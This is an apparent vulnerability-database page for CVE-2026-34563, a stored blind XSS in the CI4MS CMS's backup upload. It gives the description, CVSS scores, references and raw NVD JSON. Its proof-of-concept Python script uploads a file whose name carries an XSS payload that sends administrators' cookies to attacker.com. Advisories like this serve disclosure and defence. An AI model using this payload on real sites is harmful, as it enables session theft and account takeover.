CVE-2026-34563

Description

CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input when handling backup uploads and processing backup metadata. An attacker can inject a malicious JavaScript payload into the backup filename via the uploaded xss.sql, which uses SQL functionality to insert the XSS payload server-side. This stored payload is later rendered unsafely in multiple backup management views without proper output encoding, leading to stored blind cross-site scripting (Blind XSS). This issue has been patched in version 0.31.0.0.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:* - VULNERABLE

CI4MS < 0.31.0.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-34563
# This script simulates uploading a malicious backup file to trigger Stored XSS

import requests

def exploit(target_url, attacker_listener):
    # The XSS payload to steal admin cookies
    xss_payload = f"<img src=x onerror=fetch('{attacker_listener}?c='+document.cookie)>"
    
    # Construct the malicious SQL file name
    # The application uses SQL functionality to process this, leading to injection
    malicious_filename = f"backup_{xss_payload}.sql"
    
    upload_url = f"{target_url}/admin/backup/upload"
    
    # Dummy content for the SQL file
    file_content = "-- Malicious backup file"
    
    files = {
        'file': (malicious_filename, file_content, 'text/plain')
    }
    
    # Attacker needs low privileges (PR:L) to perform this action
    credentials = {'username': 'attacker', 'password': 'password'}
    
    try:
        print(f"[*] Uploading malicious backup to {upload_url}...")
        response = requests.post(upload_url, files=files, data=credentials)
        
        if response.status_code == 200:
            print("[+] Upload successful. XSS Payload stored in database.")
            print("[*] Wait for an administrator to view the Backup Management page.")
        else:
            print(f"[-] Upload failed. Status code: {response.status_code}")
            
    except Exception as e:
        print(f"[!] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://ci4ms-local.com"
    listener = "http://attacker.com/collect"
    exploit(target, listener)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34563
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34563
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34563/
[4] VulDB https://vuldb.com/cve/CVE-2026-34563
[5] https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0
[6] https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-85m8-g393-jcxf
[7] https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-85m8-g393-jcxf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34563", "sourceIdentifier": "[email protected]", "published": "2026-04-01T22:16:19.800", "lastModified": "2026-04-07T21:33:51.717", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CI4MS is a CodeIgniter 4-based CMS skeleton that delivers a production-ready, modular architecture with RBAC authorization and theme support. Prior to version 0.31.0.0, the application fails to properly sanitize user-controlled input when handling backup uploads and processing backup metadata. An attacker can inject a malicious JavaScript payload into the backup filename via the uploaded xss.sql, which uses SQL functionality to insert the XSS payload server-side. This stored payload is later rendered unsafely in multiple backup management views without proper output encoding, leading to stored blind cross-site scripting (Blind XSS). This issue has been patched in version 0.31.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 5.3}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ci4-cms-erp:ci4ms:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.31.0.0", "matchCriteriaId": "805F6B8A-9324-4CA4-BADE-439CC15DA14C"}]}]}], "references": [{"url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.0.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-85m8-g393-jcxf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-85m8-g393-jcxf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}